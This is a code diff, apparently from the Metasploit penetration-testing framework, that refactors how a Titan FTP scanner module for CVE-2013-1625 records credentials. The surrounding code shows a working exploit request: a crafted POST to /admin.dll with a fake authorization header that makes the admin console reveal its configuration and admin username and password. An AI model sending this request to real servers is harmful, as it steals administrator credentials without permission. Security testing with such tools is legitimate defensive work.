@@ -33,7 +33,7 @@ def initialize
33
33
'License' => MSF_LICENSE ,
34
34
'References' =>
35
35
[
36
- [ 'CVE' , '2013-1625' ] ,
36
+ [ 'CVE' , '2013-1625' ]
37
37
]
38
38
)
39
39
@@ -44,14 +44,14 @@ def initialize
44
44
def run_host ( ip )
45
45
res = send_request_cgi (
46
46
{
47
- 'uri' => " /admin.dll" ,
47
+ 'uri' => ' /admin.dll' ,
48
48
'method' => 'POST' ,
49
49
'headers' => {
50
50
'SRT-WantXMLResponses' => 'true' ,
51
51
'SRT-XMLRequest' => 'true' ,
52
52
'Authorization' => 'Basic FAKEFAKE'
53
53
} ,
54
- 'data' => " <SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>" ,
54
+ 'data' => ' <SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>'
55
55
} )
56
56
return if not res
57
57
@@ -89,15 +89,39 @@ def run_host(ip)
89
89
print_good ( "#{ ip } :#{ datastore [ 'RPORT' ] } - Base Directory: #{ info [ :basedir ] } " )
90
90
end
91
91
print_good ( "#{ ip } :#{ datastore [ 'RPORT' ] } - Admin Credentials: '#{ info [ :username ] } :#{ info [ :password ] } '" )
92
- report_auth_info (
93
- :host => ip ,
94
- :port => datastore [ 'RPORT' ] ,
95
- :user => info [ :username ] ,
96
- :pass => info [ :password ] ,
97
- :ptype => "password" ,
98
- :proto => "http" ,
99
- :sname => "Titan FTP Admin Console"
92
+ report_cred (
93
+ ip : ip ,
94
+ port : datastore [ 'RPORT' ] ,
95
+ user : info [ :username ] ,
96
+ password : info [ :password ] ,
97
+ service_name : 'ftp'
100
98
)
101
99
end
102
100
end
101
+
102
+ def report_cred ( opts )
103
+ service_data = {
104
+ address : opts [ :ip ] ,
105
+ port : opts [ :port ] ,
106
+ service_name : opts [ :service_name ] ,
107
+ protocol : 'tcp' ,
108
+ workspace_id : myworkspace_id
109
+ }
110
+
111
+ credential_data = {
112
+ origin_type : :service ,
113
+ module_fullname : fullname ,
114
+ username : opts [ :user ] ,
115
+ private_data : opts [ :password ] ,
116
+ private_type : :password
117
+ } . merge ( service_data )
118
+
119
+ login_data = {
120
+ core : create_credential ( credential_data ) ,
121
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
122
+ } . merge ( service_data )
123
+
124
+ create_credential_login ( login_data )
125
+ end
126
+
103
127
end
0 commit comments